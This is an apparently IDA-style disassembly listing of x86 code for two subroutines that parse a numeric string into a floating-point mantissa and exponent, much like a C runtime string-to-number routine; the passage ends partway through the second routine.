; Attributes: bp-based frame
sub_42D310 proc near ; CODE XREF: sub_42D450+8A7p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 404Eh
mov eax, [ebp+arg_8]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_8]
mov dword ptr [edx+8], 0
jmp short loc_42D34D
; ---------------------------------------------------------------------------
loc_42D33B: ; CODE XREF: sub_42D310+B2j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42D34D: ; CODE XREF: sub_42D310+29j
cmp [ebp+arg_4], 0
jbe short loc_42D3C7
mov edx, [ebp+arg_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov ecx, [edx+4]
mov [ebp+var_8], ecx
mov edx, [edx+8]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
push eax
call sub_42D240
add esp, 4
mov ecx, [ebp+arg_8]
push ecx
call sub_42D240
add esp, 4
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_42D190
add esp, 8
mov ecx, [ebp+arg_8]
push ecx
call sub_42D240
add esp, 4
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov [ebp+var_C], eax
mov [ebp+var_8], 0
mov [ebp+var_4], 0
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_42D190
add esp, 8
jmp loc_42D33B
; ---------------------------------------------------------------------------
loc_42D3C7: ; CODE XREF: sub_42D310+41j
; sub_42D310+101j
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 0
jnz short loc_42D413
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shr edx, 10h
mov eax, [ebp+arg_8]
mov [eax+8], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shl edx, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax]
shr ecx, 10h
or edx, ecx
mov eax, [ebp+arg_8]
mov [eax+4], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx]
shl edx, 10h
mov eax, [ebp+arg_8]
mov [eax], edx
mov cx, [ebp+var_10]
sub cx, 10h
mov [ebp+var_10], cx
jmp short loc_42D3C7
; ---------------------------------------------------------------------------
loc_42D413: ; CODE XREF: sub_42D310+BEj
; sub_42D310+12Aj
mov edx, [ebp+arg_8]
mov eax, [edx+8]
and eax, 8000h
test eax, eax
jnz short loc_42D43C
mov ecx, [ebp+arg_8]
push ecx
call sub_42D240
add esp, 4
mov dx, [ebp+var_10]
sub dx, 1
mov [ebp+var_10], dx
jmp short loc_42D413
; ---------------------------------------------------------------------------
loc_42D43C: ; CODE XREF: sub_42D310+110j
mov eax, [ebp+arg_8]
mov cx, [ebp+var_10]
mov [eax+0Ah], cx
mov esp, ebp
pop ebp
retn
sub_42D310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D450 proc near ; CODE XREF: sub_42A3C0+1Ap
; ___:0042A41Ap ...
var_B4 = byte ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = byte ptr -0A8h
var_A4 = byte ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5E = dword ptr -5Eh
var_5A = dword ptr -5Ah
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = word ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_21 = byte ptr -21h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 0B4h
lea eax, [ebp+var_38]
mov [ebp+var_68], eax
mov word ptr [ebp+var_1C], 0
mov [ebp+var_74], 1
mov [ebp+var_70], 0
mov [ebp+var_54], 0
mov [ebp+var_C], 0
mov [ebp+var_18], 0
mov [ebp+var_40], 0
mov [ebp+var_78], 0
mov [ebp+var_14], 0
mov [ebp+var_6C], 0
mov [ebp+var_44], 0
mov [ebp+var_4C], 0
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov [ebp+var_64], edx
jmp short loc_42D4C9
; ---------------------------------------------------------------------------
loc_42D4C0: ; CODE XREF: sub_42D450:loc_42D4F5j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42D4C9: ; CODE XREF: sub_42D450+6Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42D4F5
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jz short loc_42D4F5
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jz short loc_42D4F5
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jnz short loc_42D4F7
loc_42D4F5: ; CODE XREF: sub_42D450+82j
; sub_42D450+8Dj ...
jmp short loc_42D4C0
; ---------------------------------------------------------------------------
loc_42D4F7: ; CODE XREF: sub_42D450+A3j
; sub_42D450:loc_42DC53j
cmp [ebp+var_4C], 0Ah
jz loc_42DC58
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4C]
mov [ebp+var_80], eax
cmp [ebp+var_80], 0Bh
ja loc_42DC53
mov ecx, [ebp+var_80]
jmp off_42DE6A[ecx*4]
loc_42D52C: ; DATA XREF: ___:off_42DE6Ao
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42D550
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42D550
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42D5C5
; ---------------------------------------------------------------------------
loc_42D550: ; CODE XREF: sub_42D450+E3j
; sub_42D450+ECj
movsx edx, byte ptr [ebp+var_3C]
movsx eax, byte_443B74
cmp edx, eax
jnz short loc_42D568
mov [ebp+var_4C], 5
jmp short loc_42D5C5
; ---------------------------------------------------------------------------
loc_42D568: ; CODE XREF: sub_42D450+10Dj
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_84], cl
cmp [ebp+var_84], 2Bh
jz short loc_42D597
cmp [ebp+var_84], 2Dh
jz short loc_42D5A6
cmp [ebp+var_84], 30h
jz short loc_42D58E
jmp short loc_42D5B5
; ---------------------------------------------------------------------------
loc_42D58E: ; CODE XREF: sub_42D450+13Aj
mov [ebp+var_4C], 1
jmp short loc_42D5C5
; ---------------------------------------------------------------------------
loc_42D597: ; CODE XREF: sub_42D450+128j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 0
jmp short loc_42D5C5
; ---------------------------------------------------------------------------
loc_42D5A6: ; CODE XREF: sub_42D450+131j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 8000h
jmp short loc_42D5C5
; ---------------------------------------------------------------------------
loc_42D5B5: ; CODE XREF: sub_42D450+13Cj
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42D5C5: ; CODE XREF: sub_42D450+FEj
; sub_42D450+116j ...
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42D5CA: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE6Eo
mov [ebp+var_54], 1
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_42D5F8
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_42D5F8
mov [ebp+var_4C], 3
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp loc_42D67B
; ---------------------------------------------------------------------------
loc_42D5F8: ; CODE XREF: sub_42D450+188j
; sub_42D450+191j
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, byte_443B74
cmp eax, ecx
jnz short loc_42D610
mov [ebp+var_4C], 4
jmp short loc_42D67B
; ---------------------------------------------------------------------------
loc_42D610: ; CODE XREF: sub_42D450+1B5j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_88], edx
mov eax, [ebp+var_88]
sub eax, 2Bh
mov [ebp+var_88], eax
cmp [ebp+var_88], 3Ah
ja short loc_42D66B
mov edx, [ebp+var_88]
xor ecx, ecx
mov cl, byte_42DEAA[edx]
jmp off_42DE9A[ecx*4]
loc_42D647: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE9Eo
mov [ebp+var_4C], 1
jmp short loc_42D67B
; ---------------------------------------------------------------------------
loc_42D650: ; CODE XREF: sub_42D450+D5j
; sub_42D450+1F0j
; DATA XREF: ...
mov [ebp+var_4C], 6
jmp short loc_42D67B
; ---------------------------------------------------------------------------
loc_42D659: ; CODE XREF: sub_42D450+D5j
; sub_42D450+1F0j
; DATA XREF: ...
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_42D67B
; ---------------------------------------------------------------------------
loc_42D66B: ; CODE XREF: sub_42D450+D5j
; sub_42D450+1E0j ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42D67B: ; CODE XREF: sub_42D450+1A3j
; sub_42D450+1BEj ...
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42D680: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE72o
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42D6A4
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42D6A4
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42D6E6
; ---------------------------------------------------------------------------
loc_42D6A4: ; CODE XREF: sub_42D450+237j
; sub_42D450+240j
movsx edx, byte ptr [ebp+var_3C]
movsx eax, byte_443B74
cmp edx, eax
jnz short loc_42D6BC
mov [ebp+var_4C], 5
jmp short loc_42D6E6
; ---------------------------------------------------------------------------
loc_42D6BC: ; CODE XREF: sub_42D450+261j
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_8C], cl
cmp [ebp+var_8C], 30h
jz short loc_42D6D0
jmp short loc_42D6D9
; ---------------------------------------------------------------------------
loc_42D6D0: ; CODE XREF: sub_42D450+27Cj
mov [ebp+var_4C], 1
jmp short loc_42D6E6
; ---------------------------------------------------------------------------
loc_42D6D9: ; CODE XREF: sub_42D450+27Ej
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_42D6E6: ; CODE XREF: sub_42D450+252j
; sub_42D450+26Aj ...
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42D6EB: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE76o
mov [ebp+var_54], 1
jmp short loc_42D705
; ---------------------------------------------------------------------------
loc_42D6F4: ; CODE XREF: sub_42D450:loc_42D77Fj
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42D705: ; CODE XREF: sub_42D450+2A2j
cmp dword_443B70, 1
jle short loc_42D729
push 4
mov eax, [ebp+var_3C]
and eax, 0FFh
push eax
call sub_41DA90
add esp, 8
mov [ebp+var_90], eax
jmp short loc_42D747
; ---------------------------------------------------------------------------
loc_42D729: ; CODE XREF: sub_42D450+2BCj
mov ecx, [ebp+var_3C]
and ecx, 0FFh
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_90], eax
loc_42D747: ; CODE XREF: sub_42D450+2D7j
cmp [ebp+var_90], 0
jz short loc_42D784
cmp [ebp+var_70], 19h
jnb short loc_42D776
mov ecx, [ebp+var_70]
add ecx, 1
mov [ebp+var_70], ecx
movsx edx, byte ptr [ebp+var_3C]
sub edx, 30h
mov eax, [ebp+var_68]
mov [eax], dl
mov ecx, [ebp+var_68]
add ecx, 1
mov [ebp+var_68], ecx
jmp short loc_42D77F
; ---------------------------------------------------------------------------
loc_42D776: ; CODE XREF: sub_42D450+304j
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
loc_42D77F: ; CODE XREF: sub_42D450+324j
jmp loc_42D6F4
; ---------------------------------------------------------------------------
loc_42D784: ; CODE XREF: sub_42D450+2FEj
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, byte_443B74
cmp eax, ecx
jnz short loc_42D79C
mov [ebp+var_4C], 4
jmp short loc_42D7FE
; ---------------------------------------------------------------------------
loc_42D79C: ; CODE XREF: sub_42D450+341j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_94], edx
mov eax, [ebp+var_94]
sub eax, 2Bh
mov [ebp+var_94], eax
cmp [ebp+var_94], 3Ah
ja short loc_42D7EE
mov edx, [ebp+var_94]
xor ecx, ecx
mov cl, byte_42DEF1[edx]
jmp off_42DEE5[ecx*4]
loc_42D7D3: ; DATA XREF: ___:0042DEE9o
mov [ebp+var_4C], 6
jmp short loc_42D7FE
; ---------------------------------------------------------------------------
loc_42D7DC: ; CODE XREF: sub_42D450+37Cj
; DATA XREF: ___:off_42DEE5o
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_42D7FE
; ---------------------------------------------------------------------------
loc_42D7EE: ; CODE XREF: sub_42D450+36Cj
; sub_42D450+37Cj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42D7FE: ; CODE XREF: sub_42D450+34Aj
; sub_42D450+38Aj ...
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42D803: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE7Ao
mov [ebp+var_54], 1
mov [ebp+var_C], 1
cmp [ebp+var_70], 0
jnz short loc_42D83E
jmp short loc_42D82A
; ---------------------------------------------------------------------------
loc_42D819: ; CODE XREF: sub_42D450+3ECj
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42D82A: ; CODE XREF: sub_42D450+3C7j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 30h
jnz short loc_42D83E
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_42D819
; ---------------------------------------------------------------------------
loc_42D83E: ; CODE XREF: sub_42D450+3C5j
; sub_42D450+3E1j
jmp short loc_42D851
; ---------------------------------------------------------------------------
loc_42D840: ; CODE XREF: sub_42D450:loc_42D8C9j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42D851: ; CODE XREF: sub_42D450:loc_42D83Ej
cmp dword_443B70, 1
jle short loc_42D876
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_98], eax
jmp short loc_42D893
; ---------------------------------------------------------------------------
loc_42D876: ; CODE XREF: sub_42D450+408j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_98], ecx
loc_42D893: ; CODE XREF: sub_42D450+424j
cmp [ebp+var_98], 0
jz short loc_42D8CE
cmp [ebp+var_70], 19h
jnb short loc_42D8C9
mov edx, [ebp+var_70]
add edx, 1
mov [ebp+var_70], edx
movsx eax, byte ptr [ebp+var_3C]
sub eax, 30h
mov ecx, [ebp+var_68]
mov [ecx], al
mov edx, [ebp+var_68]
add edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
loc_42D8C9: ; CODE XREF: sub_42D450+450j
jmp loc_42D840
; ---------------------------------------------------------------------------
loc_42D8CE: ; CODE XREF: sub_42D450+44Aj
movsx ecx, byte ptr [ebp+var_3C]
mov [ebp+var_9C], ecx
mov edx, [ebp+var_9C]
sub edx, 2Bh
mov [ebp+var_9C], edx
cmp [ebp+var_9C], 3Ah
ja short loc_42D920
mov ecx, [ebp+var_9C]
xor eax, eax
mov al, byte_42DF38[ecx]
jmp off_42DF2C[eax*4]
loc_42D905: ; DATA XREF: ___:0042DF30o
mov [ebp+var_4C], 6
jmp short loc_42D930
; ---------------------------------------------------------------------------
loc_42D90E: ; CODE XREF: sub_42D450+4AEj
; DATA XREF: ___:off_42DF2Co
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov [ebp+var_4C], 0Bh
jmp short loc_42D930
; ---------------------------------------------------------------------------
loc_42D920: ; CODE XREF: sub_42D450+49Ej
; sub_42D450+4AEj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42D930: ; CODE XREF: sub_42D450+4BCj
; sub_42D450+4CEj
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42D935: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE7Eo
mov [ebp+var_C], 1
cmp dword_443B70, 1
jle short loc_42D961
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_A0], eax
jmp short loc_42D97E
; ---------------------------------------------------------------------------
loc_42D961: ; CODE XREF: sub_42D450+4F3j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_A0], ecx
loc_42D97E: ; CODE XREF: sub_42D450+50Fj
cmp [ebp+var_A0], 0
jz short loc_42D999
mov [ebp+var_4C], 4
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42D9A6
; ---------------------------------------------------------------------------
loc_42D999: ; CODE XREF: sub_42D450+535j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_42D9A6: ; CODE XREF: sub_42D450+547j
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42D9AB: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE82o
mov ecx, [ebp+var_4]
sub ecx, 2
mov [ebp+var_64], ecx
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42D9D8
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42D9D8
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42DA2D
; ---------------------------------------------------------------------------
loc_42D9D8: ; CODE XREF: sub_42D450+56Bj
; sub_42D450+574j
mov dl, byte ptr [ebp+var_3C]
mov [ebp+var_A4], dl
cmp [ebp+var_A4], 2Bh
jz short loc_42DA17
cmp [ebp+var_A4], 2Dh
jz short loc_42DA07
cmp [ebp+var_A4], 30h
jz short loc_42D9FE
jmp short loc_42DA20
; ---------------------------------------------------------------------------
loc_42D9FE: ; CODE XREF: sub_42D450+5AAj
mov [ebp+var_4C], 8
jmp short loc_42DA2D
; ---------------------------------------------------------------------------
loc_42DA07: ; CODE XREF: sub_42D450+5A1j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_42DA2D
; ---------------------------------------------------------------------------
loc_42DA17: ; CODE XREF: sub_42D450+598j
mov [ebp+var_4C], 7
jmp short loc_42DA2D
; ---------------------------------------------------------------------------
loc_42DA20: ; CODE XREF: sub_42D450+5ACj
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_42DA2D: ; CODE XREF: sub_42D450+586j
; sub_42D450+5B5j ...
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42DA32: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE8Ao
mov [ebp+var_18], 1
jmp short loc_42DA4C
; ---------------------------------------------------------------------------
loc_42DA3B: ; CODE XREF: sub_42D450+605j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42DA4C: ; CODE XREF: sub_42D450+5E9j
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 30h
jnz short loc_42DA57
jmp short loc_42DA3B
; ---------------------------------------------------------------------------
loc_42DA57: ; CODE XREF: sub_42D450+603j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42DA7B
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42DA7B
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42DA8B
; ---------------------------------------------------------------------------
loc_42DA7B: ; CODE XREF: sub_42D450+60Ej
; sub_42D450+617j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42DA8B: ; CODE XREF: sub_42D450+629j
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42DA90: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE86o
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_42DAB4
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_42DAB4
mov [ebp+var_4C], 9
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42DADE
; ---------------------------------------------------------------------------
loc_42DAB4: ; CODE XREF: sub_42D450+647j
; sub_42D450+650j
mov al, byte ptr [ebp+var_3C]
mov [ebp+var_A8], al
cmp [ebp+var_A8], 30h
jz short loc_42DAC8
jmp short loc_42DAD1
; ---------------------------------------------------------------------------
loc_42DAC8: ; CODE XREF: sub_42D450+674j
mov [ebp+var_4C], 8
jmp short loc_42DADE
; ---------------------------------------------------------------------------
loc_42DAD1: ; CODE XREF: sub_42D450+676j
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_64]
mov [ebp+var_4], ecx
loc_42DADE: ; CODE XREF: sub_42D450+662j
; sub_42D450+67Fj
jmp loc_42DC53
; ---------------------------------------------------------------------------
loc_42DAE3: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE8Eo
mov [ebp+var_18], 1
mov [ebp+var_7C], 0
jmp short loc_42DB04
; ---------------------------------------------------------------------------
loc_42DAF3: ; CODE XREF: sub_42D450:loc_42DB72j
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42DB04: ; CODE XREF: sub_42D450+6A1j
cmp dword_443B70, 1
jle short loc_42DB29
push 4
mov edx, [ebp+var_3C]
and edx, 0FFh
push edx
call sub_41DA90
add esp, 8
mov [ebp+var_AC], eax
jmp short loc_42DB46
; ---------------------------------------------------------------------------
loc_42DB29: ; CODE XREF: sub_42D450+6BBj
mov eax, [ebp+var_3C]
and eax, 0FFh
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_AC], edx
loc_42DB46: ; CODE XREF: sub_42D450+6D7j
cmp [ebp+var_AC], 0
jz short loc_42DB77
mov eax, [ebp+var_7C]
imul eax, 0Ah
movsx ecx, byte ptr [ebp+var_3C]
lea edx, [eax+ecx-30h]
mov [ebp+var_7C], edx
cmp [ebp+var_7C], 1450h
jle short loc_42DB72
mov [ebp+var_7C], 1451h
jmp short loc_42DB77
; ---------------------------------------------------------------------------
loc_42DB72: ; CODE XREF: sub_42D450+717j
jmp loc_42DAF3
; ---------------------------------------------------------------------------
loc_42DB77: ; CODE XREF: sub_42D450+6FDj
; sub_42D450+720j
mov eax, [ebp+var_7C]
mov [ebp+var_14], eax
jmp short loc_42DB90
; ---------------------------------------------------------------------------
loc_42DB7F: ; CODE XREF: sub_42D450+78Bj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42DB90: ; CODE XREF: sub_42D450+72Dj
cmp dword_443B70, 1
jle short loc_42DBB5
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_B0], eax
jmp short loc_42DBD2
; ---------------------------------------------------------------------------
loc_42DBB5: ; CODE XREF: sub_42D450+747j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_B0], ecx
loc_42DBD2: ; CODE XREF: sub_42D450+763j
cmp [ebp+var_B0], 0
jz short loc_42DBDD
jmp short loc_42DB7F
; ---------------------------------------------------------------------------
loc_42DBDD: ; CODE XREF: sub_42D450+789j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42DC53
; ---------------------------------------------------------------------------
loc_42DBEF: ; CODE XREF: sub_42D450+D5j
; DATA XREF: ___:0042DE96o
cmp [ebp+arg_18], 0
jz short loc_42DC43
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_64], eax
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_B4], cl
cmp [ebp+var_B4], 2Bh
jz short loc_42DC2B
cmp [ebp+var_B4], 2Dh
jz short loc_42DC1B
jmp short loc_42DC34
; ---------------------------------------------------------------------------
loc_42DC1B: ; CODE XREF: sub_42D450+7C7j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_42DC41
; ---------------------------------------------------------------------------
loc_42DC2B: ; CODE XREF: sub_42D450+7BEj
mov [ebp+var_4C], 7
jmp short loc_42DC41
; ---------------------------------------------------------------------------
loc_42DC34: ; CODE XREF: sub_42D450+7C9j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_42DC41: ; CODE XREF: sub_42D450+7D9j
; sub_42D450+7E2j
jmp short loc_42DC53
; ---------------------------------------------------------------------------
loc_42DC43: ; CODE XREF: sub_42D450+7A3j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42DC53: ; CODE XREF: sub_42D450+CCj
; sub_42D450+D5j ...
jmp loc_42D4F7
; ---------------------------------------------------------------------------
loc_42DC58: ; CODE XREF: sub_42D450+ABj
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
cmp [ebp+var_54], 0
jz loc_42DDA7
cmp [ebp+var_40], 0
jnz loc_42DDA7
cmp [ebp+var_78], 0
jnz loc_42DDA7
cmp [ebp+var_70], 18h
jbe short loc_42DCAF
movsx eax, [ebp+var_21]
cmp eax, 5
jl short loc_42DC96
mov cl, [ebp+var_21]
add cl, 1
mov [ebp+var_21], cl
loc_42DC96: ; CODE XREF: sub_42D450+83Bj
mov [ebp+var_70], 18h
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
loc_42DCAF: ; CODE XREF: sub_42D450+832j
cmp [ebp+var_70], 0
jbe loc_42DD8A
mov ecx, [ebp+var_68]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_42DCCD
; ---------------------------------------------------------------------------
loc_42DCC4: ; CODE XREF: sub_42D450+899j
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
loc_42DCCD: ; CODE XREF: sub_42D450+872j
mov eax, [ebp+var_68]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42DCEB
mov edx, [ebp+var_70]
sub edx, 1
mov [ebp+var_70], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
jmp short loc_42DCC4
; ---------------------------------------------------------------------------
loc_42DCEB: ; CODE XREF: sub_42D450+885j
lea ecx, [ebp+var_60]
push ecx
mov edx, [ebp+var_70]
push edx
lea eax, [ebp+var_38]
push eax
call sub_42D310
add esp, 0Ch
cmp [ebp+var_74], 0
jge short loc_42DD0D
mov ecx, [ebp+var_14]
neg ecx
mov [ebp+var_14], ecx
loc_42DD0D: ; CODE XREF: sub_42D450+8B3j
mov edx, [ebp+var_14]
add edx, [ebp+var_6C]
mov [ebp+var_14], edx
